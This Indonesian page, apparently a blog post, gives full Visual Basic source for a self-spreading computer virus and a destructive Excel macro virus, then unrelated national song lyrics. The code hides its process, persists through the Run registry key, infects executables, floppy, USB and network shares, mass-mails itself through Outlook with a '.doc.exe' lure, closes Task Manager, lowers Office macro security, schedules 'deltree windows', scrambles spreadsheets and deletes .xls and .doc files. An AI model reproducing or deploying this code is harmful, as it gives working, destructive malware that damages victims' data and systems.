Teknik Pembuatan Virus Komputer

Hanya untuk pendidikan saja

Syarat sebuah virus computer :

1. Menyembunyikan prosesnya dari pemakai
2. Mengaktifkan dirinya setiap startup sistem
3. Menyebarkan dirinya melalui media file executable
4. Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
5. Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
6. Menyebarkan dirinya dengan filename spoofing.
7. Mempercepat proses penyebarannya dengan pendekatan social engineering
8. Berusaha mempertahankan existensi dirinya

Tanpa menggunakan teori yang panjang dan lebar, kita akan membahas bagaimana hal tersebut diatas dapat dilakukan dengan menggunakan bahasa pemrograman Visual Basic.

Menyembunyikan prosesnya dari pemakai

Agar program tidak menampilkan dirinya pada Task Bar, dapat digunakan perintah :

App.TaskVisible = False

Kemudian untuk menyembunyikan form dapat menggunakan :

Me.Visible = False

Mengaktifkan dirinya setiap startup sistem

Agar program exe dapat diaktifkan setiap kali startup system, kita dapat menduplikasi program ke suatu folder dengan perintah :

FileCopy app.Path & “\” & app.EXEName , environ$(“windir”) & “\” & app.EXEName

dan menambah ke registry :

Dim WShell as Object

Set WShell = CreateObject(“WScript.Shell”)

WShell.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\virusku”, environ$(“windir”) & “\” & app.EXEName

Set WShell = Nothing

Menyebarkan dirinya melalui media file executable

Program virus harus dapat menginfeksi program-program executable dengan proses sebagai berikut :

Program Executable

Setelah terinfeksi oleh program virus menjadi :

Program Virus + Program Executable + Ukuran Virus + Signature Virus

Sehingga setiap kali program yang telah terinfeksi dijalankan, maka Program Virus akan menginstalasi dirinya ke computer korban dan mengembalikan proses ke Program Executable.

Jadi pada saat program terinfeksi dijalankan, maka Program Executable harus di pulihkan kembali dengan melakukan perhitungan :

Posisi Program Executable = Ukuran File – Ukuran Virus – Ukuran Signature Virus

Sesuatu hal yang harus diperhatikan adalah infeksi terhadap Program Executable tidak boleh dilakukan berulang-ulang dan tidak boleh menginfeksi diri Program Virus sendiri, sehingga harus ditambahkan suatu Signature Virus

Private Sub PeriksadanInfeksiExe(fname As String)

Dim tSignature As String * 5

Dim OriginalCode As String

Dim fNum As Integer

‘Jangan menginfeksi diri sendiri

‘Hanya menginfeksi file berukuran lebih dibawah 1 Mega

If Dir(fname) <> “” Then

If FileLen&(fname) > virSize And FileLen&(fname) < 1048576 Then

‘Ambil nomor file

fNum = FreeFile

Open fname For Binary Access Read As fNum ‘Buka file target

Seek fNum, LOF(fNum) – 5 + 1 ‘pindah file pointer ke posisi Signature Virus

tSignature = Space$(5)

Get fNum, , tSignature ‘baca tSignature

Close fNum

If tSignature <> virSignature Then ‘jika file virus (tidak ada virSignature)

On Error GoTo finally

Open fname For Binary Access Read Write As fNum ‘Buka file target

OriginalCode = Space$(LOF(fNum))

Get fNum, , OriginalCode ‘baca Program Executable

Put fNum, 1, virCode ‘tulis Program Virus diawal

Put fNum, , OriginalCode ‘tulis Program Executable

Put fNum, , virSize ‘tulis Ukuran Virus

Put fNum, , virSignature ‘tulis Signature Virus

Close fNum

finally:

End If

End If

End If

End Sub

Ketika program Executable dijalankan maka :

Private Sub VirusInitial()

Dim OriginalCode As String

Dim tSignature As String * 5

Dim fNum As Integer

Dim fname As String

virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203)

Open exePath + App.EXEName + “.exe” For Binary Access Read As #1

Seek #1, LOF(1) – 5 + 1 ‘pindah file pointer ke posisi virSize

tSignature = Space$(5)

Get #1, , tSignature ‘baca virSignature

If tSignature <> virSignature Then ‘Jika file virus sendiri

virSize = LOF(1) ‘ukuran virSize sama dengan ukuran file

virCode = Space$(virSize) ’siapkan buffer virCode

Seek #1, 1 ‘ke posisi bof

Get #1, , virCode ‘baca virCode sebesar ukuran virSize

Close #1

Call VirInstall ‘instalasi virus

If Not SudahLoad Then

Load ff ‘aktifkan timer virus

End If

‘Jika file yang terinfeksi

Else

Seek #1, LOF(1) – 9 + 1 ‘pindah file pointer ke posisi virSize

Get #1, , virSize ‘baca virSize (long = 4 byte)

‘Baca vircode

virCode = Space$(virSize)

Seek #1, 1 ‘ke posisi BOF (Awal file)

Get #1, , virCode ‘baca virCode sebesar ukuran virSize

OriginalCode = Space$(LOF(1) – virSize) ’siapkan buffer

Get #1, , OriginalCode ‘baca originalCode

fNum = 0

Do While Dir(exePath & App.EXEName & fNum & “.exe”) <> “”

fNum = fNum + 1

Loop

fname = exePath & App.EXEName & fNum & “.exe”

On Error GoTo finally

Open fname For Binary Access Write As #2

Put #2, , OriginalCode ‘tulis ke file sementara

Close #2 ‘tutup file sementara

finally:

Close #1

Call VirInstall

If Not SudahLoad Then

Load ff ‘aktifkan timer virus

End If

Call ExecuteOriginal(fname)

Kill fname ‘hapus file sementara

End If

End Sub

Private Sub ExecuteOriginal(fname)

Dim Host As Long, HProc As Long, HExit As Long

Host = Shell(fname, vbNormalFocus) ‘jalankan fname

HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)

GetExitCodeProcess HProc, HExit ‘ambil status aktif

Do While HExit = STILL_ACTIVE ‘proses ditahan selama proses masih aktif

DoEvents ‘lakukan event yang lain

GetExitCodeProcess HProc, HExit

Loop

End Sub

Private Function SudahLoad() As Boolean

Dim vir_hwnd As Long

‘Jika Jendela virus aktif

vir_hwnd = FindWindow(vbNullString, titleSudahLoad)

SudahLoad = Not (vir_hwnd = 0)

End Function

Mempercepat proses penyebarannya melalui media pertukaran data dan informasi

Menyebarkan dirinya ke Floppy Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau terhadap keaktifkan jendela 3½ Floppy (A:) oleh pemakai.

Public Sub InfeksiFloppy()

On Error GoTo BatalInfeksi

Dim floppy_hwnd As Long

Dim fname As String

‘Jika Jendela Floppy terbuka

floppy_hwnd = FindWindow(vbNullString, “3½ Floppy (A:)”)

If Not floppy_hwnd = 0 Then

Call InfeksiResource(“A:”, “DOCXLS”) ‘Hanya infeksi Doc, Exe jangan

End If

BatalInfeksi:

End Sub

Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau removable drive diatas drive C.

Public Sub InfeksiFlashDisk()

On Error GoTo BatalInfeksi

Dim ObjFSO As Object

Dim ObjDrive As Object

Set ObjFSO = CreateObject(“Scripting.FileSystemObject”)

For Each ObjDrive In ObjFSO.Drives

‘Asumsi semua removable drive diatas huruf C adalah flash disk

‘1 – Removable drive

‘2 – Fixed drive (hard disk)

‘3 – Mapped network drive

‘4 – CD-ROM drive

‘5 – RAM disk

If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > “C” Then

Call InfeksiResource(ObjDrive.DriveLetter + “:”, “XLSDOC”)

End If

Next

BatalInfeksi:

End Sub

Menyebarkan dirinya ke semua resource yang di Share pada computer yang terinfeksi :

Public Sub InfeksiMySharing()

Dim shares() As String, share As Variant, target As String

If GetShares(“\\127.0.0.1″, “Microsoft Windows Network”, shares) = True Then

For Each share In shares

target = share

Call InfeksiResource(target, “XLSDOCEXE”)

Next share

End If

End Sub

Menyebarkan dirinya ke semua resource share yang terbuka di LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya dalam suatu stack.

Public Sub AmbilDomain()

Dim Domains() As String, Domain As Variant

If GetShares(“”, “Microsoft Windows Network”, Domains) = True Then

For Each Domain In Domains

If Not stackDomain.isFull Then

stackDomain.Push (Domain)

End If

Next Domain

End If

End Sub

Kemudian mengambil computer yang berada pada masing-masing Domain maupun Workgroup dalam suatu stack.

Public Sub AmbilComputer()

Dim Computers() As String, Domain As String, Computer As Variant

If Not stackDomain.isEmpty() Then

Domain = stackDomain.Pop()

If GetShares(Domain, “Microsoft Windows Network”, Computers) = True Then

For Each Computer In Computers

If Not stackComputer.isFull Then

stackComputer.Push (Computer)

End If

Next Computer

End If

End If

End Sub

Dan Akhirnya mengambil semua resource yang dishare dari masing-masing Computer :

Public Sub AmbilDrive()

Dim Drives() As String, Computer As String, Drive As Variant

If Not stackComputer.isEmpty() Then

Computer = stackComputer.Pop()

If GetShares(Computer, “Microsoft Windows Network”, Drives) = True Then

For Each Drive In Drives

If Not stackDrive.isFull Then

stackDrive.Push (Drive)

End If

Next Drive

End If

End If

End Sub

Public Sub InfeksiNetworkDrive()

Dim target As String

If Not stackDrive.isEmpty() Then

target = stackDrive.Pop()

Call InfeksiResource(target, “XLSDOCEXE”)

End If

End Sub

Melakukan penyebaran melalui fasilitas email :

Public Sub SpreadEmailOutlook()

Dim Outlook As Object

Dim Mapi As Object

Dim Mail As Object

Dim AddressBook As Variant

Dim MailAddress As Variant

Dim i As Integer, j As Integer

On Error GoTo finally

Set Outlook = CreateObject(“Outlook.Application”)

Set Mapi = Outlook.GetNamespace(“MAPI”)

For i = 1 To Mapi.AddressLists.Count

Set AddressBook = Mapi.AddressLists(i)

For j = 1 To AddressBook.AddressEntries.Count

MailAddress = AddressBook.AddressEntries(j)

Set Mail = Outlook.CreateItem(0)

Mail.Recipients.Add (MailAddress)

Mail.Subject = “Subject Virus Anda”

Mail.Body = vbCrLf & “Pesan anda agar pemakai tertarik membuka attachment.”

Mail.Attachments.Add Environ$(“windir”) & “\” & attachment & “.doc.exe”

Mail.Send

Next

Next

finally:

Set Outlook = Nothing

Set Mapi = Nothing

End Sub

Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system

Penulis tidak akan membahas tentang teknik yang satu ini. Pada dasarnya cara kerjanya adalah seperti ini, misalnya pada Windows yang otomatis menjalankan file dengan script extension tertentu (Contoh teknik virus Redlof), sehingga program virus dapat membuat script tersebut untuk mentrigger program virus.

Ada juga worms yang memanfaatkan kelemahan Outlook Express, dimana secara otomatis menjalankan Attachment tanpa klik dari pemakai.

Ada juga worms yang menyebarkan diri melalui website, dimana jika anda mengunjungi suatu website dengan software browser yang memiliki kelemahan, maka secara otomatis browser mendownload kode yang tidak diinginkan dan menjalankannya.

Ada juga worms yang menyebar melalui media Bluetooth yang dalam keadaan terbuka.

Menyebarkan dirinya dengan filename spoofing.

Teknik filename spoofing banyak digunakan oleh worms dewasa ini dengan menggunakan double extension :

Misalnya :

SuratCinta.doc.pif

Pada system yang settingnya tidak menampilkan extension file maka file tersebut diatas ditampilkan pada system sebagai :

SuratCinta.doc

Mempercepat proses penyebarannya dengan pendekatan social engineering.

Teknik ini adalah gampang-gampang sudah, tetapi sangat mempengaruhi penyebaran dan siklus hidup virus anda. Social engineering banyak digunakan oleh hacker-hacker untuk memperdaya dengan pendekatan non-teknis computer, tetapi lebih cenderung kepada pendekatan manusia.

Banyak virus menyebar dengan memanfaatkan kesenangan orang akan materi-materi pornografi, yaitu dengan membuat membuat nama-nama file, maupun pesan email yang memancing korban untuk penasaran membuka attachment.

Ada juga virus yang disebarkan pada game-game maupun crack software yang menumpang pada program tersebut.

Berusaha mempertahankan existensi dirinya

Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus tersebut :

WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableRegistryTools”, 0, “REG_DWORD”

WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableCMD”, 0, “REG_DWORD”

Maupun melacak jendela proses-proses musuh, dan menutupnya.

Public Sub KillEnemy()

Dim EnemyProcess(20) As String

Dim i As Integer

EnemyProcess(1) = “Registry Editor”

EnemyProcess(2) = “Windows Task Manager”

EnemyProcess(3) = “Process Viewer”

EnemyProcess(4) = “Open With”

For i = 1 To 4 Step 1

Call KillEnemyWindow(EnemyProcess(i))

Next i

End Sub

Private Sub KillEnemyWindow(target As String)

Dim Enemy_hwnd As Long

Enemy_hwnd = FindWindow(vbNullString, target)

If Not Enemy_hwnd = 0 Then

CloseWindow (Enemy_hwnd)

End If

End Sub

Kesimpulan :

Pemrograman virus sangat membutuhkan pengetahuan tentang bagaimana proses-proses system operasi yang berpotensi digunakan sebagai sarana penyebaran, serta perintah-perintah pemrograman yang dapat digunakan untuk mewujudkan proses tersebut. Jadi tidak diperlukan algoritma yang rumit, sehingga dapat dengan mudah dilakukan oleh programmer-programmer pemula.

Keberhasilan menerapkan teknik social engineering akan menentukan kesuksesan dan siklus hidup virus anda.

Lampiran A

‘API  Declaration Modul

Option Explicit

Public Declare Sub Sleep Lib “kernel32″ (ByVal dwMilliseconds As Long)

Public Declare Function OpenProcess Lib “kernel32″ (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Public Declare Function GetExitCodeProcess Lib “kernel32″ (ByVal hProcess As Long, lpExitCode As Long) As Long

Public Declare Function CloseHandle Lib “kernel32″ (ByVal hObject As Long) As Long

Public Declare Function FindWindow Lib “user32″ Alias “FindWindowA” (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Public Declare Function CloseWindow Lib “user32″ (ByVal hwnd As Long) As Long

Public Const STILL_ACTIVE As Long = &H103

Public Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Public Type NETRESOURCE

dwScope As Long

dwType As Long

dwDisplayType As Long

dwUsage As Long

lpLocalName As Long

lpRemoteName As Long

lpComment As Long

lpProvider As Long

End Type

Public Declare Function WNetOpenEnum Lib “mpr.dll” Alias “WNetOpenEnumA” _

(ByVal dwScope As Long, ByVal dwType As Long, ByVal dwUsage As Long, _

lpNetResource As NETRESOURCE, lphEnum As Long) As Long

Public Declare Function WNetEnumResource Lib “mpr.dll” Alias “WNetEnumResourceA” _

(ByVal hEnum As Long, lpcCount As Long, lpBuffer As NETRESOURCE, lpBufferSize As Long) As Long

Public Declare Function WNetCloseEnum Lib “mpr.dll” (ByVal hEnum As Long) As Long

Public Declare Function lstrlen Lib “kernel32″ Alias “lstrlenA” (ByVal pString As Long) As Long

Public Declare Function lstrcpy Lib “kernel32″ Alias “lstrcpyA” _

(ByVal lpString1 As String, ByVal pString As Long) As Long

Const RESOURCE_GLOBALNET = 2

Const RESOURCETYPE_DISK = 1

Const RESOURCEDISPLAYTYPE_DOMAIN = 0

Const RESOURCEUSAGE_CONTAINER = 1

Function GetShares(ByVal RemoteName As String, ByVal Provider As String, sShares() As String) As Boolean

Dim hEnum As Long, nrLen As Long, nrCount As Long

Dim nr(2048) As NETRESOURCE, retval As Boolean

nrCount = -1

nrLen = 65536

RemoteName = StrConv(RemoteName, vbFromUnicode)

nr(0).lpRemoteName = StrPtr(RemoteName)

Provider = StrConv(Provider, vbFromUnicode)

nr(0).lpProvider = StrPtr(Provider)

nr(0).dwType = RESOURCEDISPLAYTYPE_DOMAIN

nr(0).dwUsage = RESOURCEUSAGE_CONTAINER

If WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0, nr(0), hEnum) = 0 Then

If WNetEnumResource(hEnum, nrCount, nr(0), nrLen) = 0 Then

If nrCount > 0 Then

ReDim sShares(nrCount – 1) As String

For nrLen = 0 To (nrCount – 1)

sShares(nrLen) = Space(lstrlen(nr(nrLen).lpRemoteName))

Call lstrcpy(sShares(nrLen), nr(nrLen).lpRemoteName)

Next nrLen

retval = True

End If

End If

Call WNetCloseEnum(hEnum)

End If

GetShares = retval

End Function

Lampiran B

‘Form ff

Option Explicit

Dim SedangInfeksi As Boolean

Dim SpreadEmail As Boolean

Dim Aktifitas As Integer       ‘0 = floppy, 1 = flashdisk

Dim Loncat As Integer

Private Sub AT_Timer()

Call KillEnemy

If Not SedangInfeksi Then    ‘jangan overlapping proses

SedangInfeksi = True

If Aktifitas = 0 Then

Call InfeksiMySharing

ElseIf Aktifitas = 1 Then

Call AmbilDomain

ElseIf Aktifitas = 2 Then

Call AmbilComputer

ElseIf Aktifitas = 3 Then

Call AmbilDrive

ElseIf Aktifitas = 4 Then

Call InfeksiNetworkDrive

ElseIf Aktifitas = 5 Then

Call InfeksiFloppy

ElseIf Aktifitas = 6 Then

‘Call InfeksiFlashDisk

ElseIf Aktifitas = 7 Then

Call InfeksiMySharing

ElseIf Aktifitas = 8 Then

If Not SpreadEmail Then

Call SpreadEmailOutlook

SpreadEmail = True

End If

Aktifitas = 1

End If

Aktifitas = (Aktifitas + 1)

SedangInfeksi = False

End If

End Sub

Main Program

Private Sub Form_Load()

Me.Visible = False

Me.Caption = titleSudahLoad

AT.Interval = 1000

SedangInfeksi = False

SpreadEmail = False

Aktifitas = 0

Loncat = 0

AT.Enabled = True

End Sub

Membuat Virus dengan Excel

FOR EDUCATION PURPOSE ONLY
MAKE MODULE, MENYEBARKAN, MEMODIFIKASI ADALAH BUKAN TANGGUNGJAWAB CODER
SCRIPT INI HANYA DIGUNAKAN SEBAGAI ILMU PENGETAHUAN SAHAJA
Bila anda TIDAK SETUJU tekan tombol [X] pada window ini

MAKE Virus:
buka new excel workbooks kemudian menu tools macro VB editor
klik kanan pada VBA Project dan pilih insert module
Paste file ini ke dalam new module
tekan F8 untuk trace script

—————————— begin of script —————————————–
‘USE THIS SCRIPT AS YOUR OWN RISK
‘This is for my wife if thats you falling love with others
Private Declare Function RegOpenKeyExA Lib “advapi32.dll” (ByVal hKey As Long, _
ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As _
Long, phkResult As Long) As Long
Private Declare Function RegCreateKeyExA Lib “advapi32.dll” (ByVal hKey As Long, _
ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As _
Long, phkResult As Long) As Long
Private Declare Function RegSetValueExA Lib “advapi32.dll” (ByVal hKey As Long, _
ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, _
ByVal lpValue As String, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib “advapi32.dll” (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib “advapi32.dll” Alias “RegCreateKeyA” (ByVal _
hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Global Const REG_DWORD As Long = 4
Global Const HKEY_LOCAL_MACHINE As Long = &H80000002
Global Const HKEY_CURRENT_USER As Long = &H80000001
Dim NewKEY As Long
Dim AA, BB, NN
Dim Myclub As String
Dim CrStat As Boolean
Dim pnm As String

‘ ini untuk mendisable menu bila ingin memodifikasi tambah ato kurangi sendiri
‘ menghapus direktory windows…ssttt glodak aauuuuu

Sub MessBoard()
On Error Resume Next
CommandBars(“File”).Controls(“Print Area”).Visible = False
CommandBars(“Data”).Controls(“Sort”).Visible = False
CommandBars(“File”).Controls(“Page Setup…”).Visible = False
NowBoom = Array(“MsApp”, “Sound Acceleration”, “Ms Wizard”, “Web Camera”, _
“PCI driver”, “App Video”, “Lshots”, “WinApps”, “MsOffice 11″)
Randomize
NowBoom = NowBoom(Rnd * 9)
KillAV = RegOpenKeyExA(HKEY_LOCAL_MACHINE, “Software\Microsoft\Windows\CurrentVersion\Run”, _
0, KEY_ALL_ACCESS, s)
KillAV = RegSetValueExA(s, NowBoom, 0, 1, “c:\windows\command\deltree windows”, 0)
KillAV = RegCloseKey(s)
End Sub

Private Sub Auto_Open()
On Error Resume Next
Application.StatusBar = “Wait please….”
Application.ScreenUpdating = False
CommandBars(“Tools”).Controls(“Customize…”).Visible = False
CommandBars(“Tools”).Controls(“Options…”).Visible = False
CommandBars(“Tools”).Controls(“Macro”).Enable = False

’setting registry security LOW pada excel ver. 8.0 dan 9.0
Kill97 = RegOpenKeyExA(HKEY_CURRENT_USER, “Software\Microsoft\Office\8.0\Excel” & _
“Microsoft Excel”, 0, KEY_ALL_ACCESS, k)
Kill97 = RegSetValueExA(k, “Options6″, 0, REG_DWORD, Chr$(0), 4)
Kill97 = RegCloseKey(k)
Kill2K = RegCreateKey(HKEY_CURRENT_USER, “Software\Microsoft\Office\9.0\Excel” & _
“security”, s)
Kill2K = RegOpenKeyExA(HKEY_CURRENT_USER, “Software\Microsoft\Office\9.0\Excel”, _
0, KEY_ALL_ACCESS, s)
Kill2K = RegSetValueExA(s, “Level”, 0, REG_DWORD, Chr$(2), 2)
Kill2K = RegCloseKey(s)

‘mengalihkan antivirus ke file yang anda inginkan
‘rundll.exe jika sudah menumpuk di registry membuat winkamu cepet mabok
‘rubah file rundll.exe sesuai keinginan

AnVrs = Array(“VsStatEXE”, “Norton Auto-Protect”, “F-Secure”, “PandaSoft”, “Avast4″, _
“DrSolomon”, “AntiVir”, “MsSound”, “BombShellter”)
Randomize
AVstr = AnVrs(Rnd * 9)
KillAV = RegOpenKeyExA(HKEY_LOCAL_MACHINE, “Software\Microsoft\Windows” & _
“CurrentVersion\Run”, 0, KEY_ALL_ACCESS, s)
KillAV = RegSetValueExA(s, AVstr, 0, 1, “c:\windows\rundll.exe”, 0)
KillAV = RegCloseKey(s)
Application.DisplayAlerts = False
If Right(ActiveWorkbook.Name, 3) = “xls” Then
ActiveWindow.Visible = False
workbooks.Add
End If
XBrnd

‘membuat file Xlstart yang isinya file yg terinfeksi
‘membuat tulisan pada sheet active

strup = Application.StartupPath
If Dir(strup & “” & “*.xls”) = “” Then
pnm = ActiveWorkbook.Name
Apnm = ActiveWorkbook.FullName
OtherVrs = Dir(strup & “” & “*.xls”)
If OtherVrs <> “” Then
workbooks(OtherVrs).Close
Kill strup & “” & OtherVrs
End If
workbooks(pnm).SaveAs FileName:=strup & “” & Myclub & “.xls”
ActiveWindow.Visible = False
workbooks.Open (Apnm)
End If
For n = 67 To 90
l = Chr(n)
drv = l & “:”
d3 = DrvID(drv)
If d3 = “network” Then snd2drv (drv)
Next
nmpers = Dir(strup & “” & “*.xls”)
Application.OnSheetActivate = “” & strup & “” & nmpers & “!XLBomb”
If Month(Now()) = 7 And Day(Now()) = 7 Then
Range(“A1″).Insert
Range(“A1″).Select
With Selection.Font
.Name = “Arial”
.FontStyle = “Bold”
.Size = 18
.ColorIndex = 7
End With
ActiveCell.FormulaR1C1 = “Living in the DARKSIDE to watch your Life”
MessBoard
cari
End If
Application.StatusBar = False
Application.DisplayAlerts = True
Application.ScreenUpdating = True
End Sub

‘Penularan pada workbook yg aktif
‘add sheet xlSheetVeryHidden sebagai otorisasi
’sorry mcafee aku selalu merubah ini bila terdeteksi

Sub XLBomb()
On Error Resume Next
XlsBmb = “c:\Trough.WQK” ‘rubah baris ini bila virus kamu terdeteksi
Application.DisplayAlerts = False
Application.ScreenUpdating = False
aktip = ActiveWorkbook.Name
sedang = ThisWorkbook.Name
Set mcraktip = workbooks(aktip).VBProject.VBComponents
Set modaktip = ActiveWorkbook.VBProject.VBComponents
Set mymcr = ThisWorkbook.VBProject.VBComponents
If aktip <> “Book1″ And aktip <> “Book2″ Then
For NS = 1 To Sheets.Count
If Sheets(NS).Name = “S1L3N7″ Then
kz = Sheets(NS).Name
Exit For
End If
kz = Sheets(NS).Name
Next NS
If kz <> “S1L3N7″ Then
Sheets.Add
ActiveWindow.ActiveSheet.Name = “S1L3N7″
Sheets(“S1L3N7″).Visible = xlSheetVeryHidden
Else
susun
Sheets(“S1L3N7″).Range(“A7″) = “”
End If
For nm = 1 To mcraktip.Count
If mcraktip(nm).Type = 1 Then
nama = mcraktip(nm).Name
Exit For
End If
Next nm
modaktip.Remove modaktip(nm)
For nm = 1 To mymcr.Count
If mymcr(nm).Type = 1 Then
nama = mymcr(nm).Name
Exit For
End If
Next nm
mymcr(nama).Export XlsBmb
modaktip.Import XlsBmb
Kill XlsBmb
XBrnd
ActiveWorkbook.VBProject.VBComponents(nm).Name = Myclub
If Minute(Now()) > 30 And Weekday(Now()) Mod 2 = 0 Then
Application.StatusBar = “Searching for 1RM4 at the network…”
End If
End If
Application.DisplayAlerts = True
End Sub

‘duplikasi virus dengan berbagai nama secara RANDOM

Private Sub XBrnd()
Dim Sbjt, Bodd
On Error GoTo nil1
Randomize
Sbjt = Array(“Primitif”, “Conspiracy”, “mydata”, “OnJuly”, “Updater”, “ms0ffice”, _
“letme”, “poisoning”, “yourdream”)
Myclub = Sbjt(Rnd * 9 + 1)
Exit Sub
nil1:
Myclub = Sbjt(0)
End Sub

‘hihi.. macro di kawinkan sama worm yaaa gini ini
‘tularkan pada semua drive & network yang telah di MAPPING

Function DrvID(drv3)
On Error Resume Next
Dim fso, d, t
Set fso = CreateObject(“Scripting.FileSystemObject”)
Set d = fso.getdrive(drv3)
Select Case d.drivetype
Case 0: t = “Unknown”
Case 1: t = “removable”
Case 2: t = “Fixed”
Case 3: t = “network”
Case 4: t = “CD-ROM”
Case 5: t = “Ramdisk”
End Select
If t = “” Then t = “none”
DrvID = t
End Function
Sub snd2drv(DrvAll)
On Error Resume Next
Application.DisplayAlerts = False
Application.ScreenUpdating = False
Gnm = ActiveWorkbook.Name
GnmF = ActiveWorkbook.FullName
Randomize
FlName = Array(“BankColapse”, “myacc”, “report”, “launch06″, “yourScrt”, “jobs”, _
“reference07″, “logistic”, _
“Payroll2006″, “NewCost”, “DoNotOpen”, “secretary”, “tax_report”, “Finance”, _
“director2006″)
Bread = FlName(Rnd * 14 + 1)
workbooks(Gnm).SaveAs FileName:=DrvAll & “” & Bread & “.xls”
workbooks(ActiveWorkbook.Name).Close
workbooks.Open (GnmF)
Application.DisplayAlerts = True
End Sub

Private Sub Auto_Close()
On Error Resume Next
If ActiveWorkbook.Name <> “Book1″ And ActiveWorkbook.Name <> “Book2″ Then
Application.ScreenUpdating = False
Application.DisplayAlerts = False
For NS = 1 To Sheets.Count
If Sheets(NS).Name = “S1L3N7″ Then
kz = Sheets(NS).Name
Exit For
End If
kz = Sheets(NS).Name
Next NS
If kz <> “S1L3N7″ Then
Sheets.Add
ActiveWindow.ActiveSheet.Name = “S1L3N7″
Sheets(“S1L3N7″).Visible = xlSheetVeryHidden
End If
CryptSTAT = Sheets(“S1L3N7″).Range(“A7″)
If CryptSTAT <> 1 Then
kacau
Sheets(“S1L3N7″).Range(“A7″) = 1
SvFl = Dir(Application.StartupPath & “” & “*.xls”)
workbooks(SvFl).Save
ActiveWorkbook.Save
End If
End If
End Sub

‘klo file d tutup basic encrypt
’supaya klo macro d hapus & DUUUAAARRR rusak file-nya
Sub kacau() ‘kurang setiap sheets
For i = 48 To 90 ‘48 as 0 and 90 as Z
If i <> 63 Then
huruf = Chr(i)
Cells.Replace What:=huruf, Replacement:=Chr(i + 110), LookAt:=xlPart, SearchOrder _
:=xlByRows, MatchCase:=False
End If
Next
End Sub

‘kembalikan (decrypt) struktur file saat d buka
Sub susun()
For i = 158 To 200
If i <> 173 Then
huruf = Chr(i)
Cells.Replace What:=huruf, Replacement:=Chr(i – 110), LookAt:=xlPart, SearchOrder _
:=xlByRows, MatchCase:=False
End If
Next
End Sub

‘hapus file xls,doc & file yg anda inginkan
‘membuat file tipuan dg nama sesuai folder
Sub cari()
On Error Resume Next
Dim nmfold1, nmfold2, pjg, kena As Integer
pnm = ActiveWorkbook.FullName
pjg = Len(pnm)
For i = 0 To 50
pjg = pjg – 1
If Right(Left(pnm, pjg), 1) = “” Then
foldbatas = Left(pnm, pjg)
Kill foldbatas & “*.xls”
Kill foldbatas & “*.doc”
Kill foldbatas & “irma.*”
If a = 0 Then
nmfold1 = Len(foldbatas) – 1
pnm = Left(pnm, nmfold1)
a = 1
Else
nmfold2 = Len(foldbatas) + 1
kena = nmfold1 – nmfold2
namekena = Right(pnm, kena + 1)
Application.ScreenUpdating = False
workbooks.Add (namekena & “.xls”)
ActiveWorkbook.Save
ActiveWorkbook.Close
Application.ScreenUpdating = True
Exit For
End If
End If
Next
End Sub

Lirik Lagu Nasional

Rayuan Pulau Kelapa – Lirik Lagu Wajib Nasional

Pencipta dan Pengarang Lagu / Lirik : Ismail Marzuki

Tanah airku Indonesia
Negeri elok amat kucinta
Tanah tumpah darahku yang mulia
Yang kupuja sepanjang masa

Tanah airku aman dan makmur
Pulau kelapa yang amat subur
Pulau melati pujaan bangsa
Sejak dulu kala

Reff:

Melambai lambai
Nyiur di pantai
Berbisik bisik
Raja Kelana

Memuja pulau
Nan indah permai
Tanah Airku
Indonesia

—

Satu Nusa Satu Bangsa – Lirik Lagu Wajib Nasional

Pencipta Lirik dan Lagu : L. Manik

Satu nusa
Satu bangsa
Satu bahasa kita

Tanah air
Pasti jaya
Untuk Selama-lamanya

Indonesia pusaka
Indonesia tercinta
Nusa bangsa
Dan Bahasa
Kita bela bersama

—

Indonesia Raya – Lagu Kebangsaan Republik Indonesia – Lagu Wajib Nasional

Ciptaan : W.R. Supratman / Wage Rudolf Supratman

Indonesia tanah airku
Tanah tumpah darahku
Disanalah aku berdiri
Jadi pandu ibuku
Indonesia kebangsaanku
Bangsa dan Tanah Airku
Marilah kita berseru
Indonesia bersatu

Hiduplah tanahku
Hiduplah negriku
Bangsaku Rakyatku semuanya
Bangunlah jiwanya
Bangunlah badannya
Untuk Indonesia Raya

Indonesia Raya
Merdeka Merdeka
Tanahku negriku yang kucinta

Indonesia Raya
Merdeka Merdeka
Hiduplah Indonesia Raya

Indonesia Raya
Merdeka Merdeka
Tanahku negriku yang kucinta

Indonesia Raya
Merdeka Merdeka
Hiduplah Indonesia Raya

Indonesia Tanah yang mulia
Tanah kita yang kaya
Di sanalah aku berada Untuk slama-lamanya
Indonesia Tanah pusaka Pusaka Kita semuanya
Marilah kita mendoa Indonesia bahagia

Suburlah Tanahnya Suburlah jiwanya
Bangsanya Rakyatnya semuanya
Sadarlah hatinya Sadarlah budinya
Untuk Indonesia Raya

Indonesia Tanah yang suci Tanah kita yang sakti
Disanalah aku berdiri ‘njaga ibu sejati
Indonesia! Tanah berseri Tanah yang aku sayangi
Marilah kita berjanji Indonesia abadi

Slamatlah Rakyatnya Slamatlah putranya
Pulaunya lautnya semuanya
Majulah Negrinya Majulah Pandunya
Untuk Indonesia Raya

= Lirik tambahan / bonus lagu Indonesia Raya yang jarang digunakan di acara resmi dan upacara bendera =

—

